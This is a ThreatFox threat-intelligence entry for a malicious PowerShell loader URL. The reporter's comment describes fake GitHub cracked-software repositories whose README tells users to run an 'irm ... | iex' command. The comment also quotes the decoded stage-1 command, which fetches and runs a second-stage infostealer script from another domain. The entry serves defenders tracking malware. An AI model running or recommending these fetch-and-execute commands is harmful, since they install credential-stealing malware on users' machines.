🤲🏼 NEW | abuse.ch Community Hub! Earn recognition 🏅 for the malware intelligence you share, climb the leaderboards 📈, and connect with like-minded contributors who share your hunting focus 🤝. Ready to unlock your profile? Go to the Community Hub →

ThreatFox IOC Database

You are viewing the ThreatFox database entry for url https://power-shell.cc/powershell/Loader.ps1.

Database Entry


IOC ID:1973838
IOC: https://power-shell.cc/powershell/Loader.ps1
IOC Type :url
Threat Type :payload_delivery
Malware: Unknown malware
Confidence Level : Confidence level is elevated (75%)
Is compromised? : False
ASN:AS214351 FEMOIT
Country:- GB
First seen:2026-10-19 06:20:14 UTC
Last seen:never
UUID:5e23224c-cb6c-11f1-bd13-42010aa4000a
Reporter wristhulk
Reward 5 credits from ThreatFox
Tags:fake-crack Github powershell stager

Avatar
wristhulk
PowerShell stager chain pushed by GitHub lure repos created 2026-10-18 (KMS-Pico, AnyUnlock, Imei-Repair, Burning-Studio; ~97 fake stars each) whose README says to run 'irm https://power-shell.cc/powershell/Loader.ps1 | iex'. Stage 1 (494 bytes, sha256 7840b0d3ccc90a410e3df5c08bbf055a9a5906cd8784e33732058891ebc4aa5b, fetched 2026-10-18) base64-decodes and runs: irm -Uri https://trust-soft.cc/encrypted/update.ps1 -UserAgent <fixed 100-char key> | iex. Stage 2 is gated on that User-Agent (URLhaus lists it since 2026-09-28 as an infostealer stager, shown offline). Both domains resolve to 196.251.107.72 (Apache Win64 / PHP 8.2.12, XAMPP). Stage 2 not retrieved.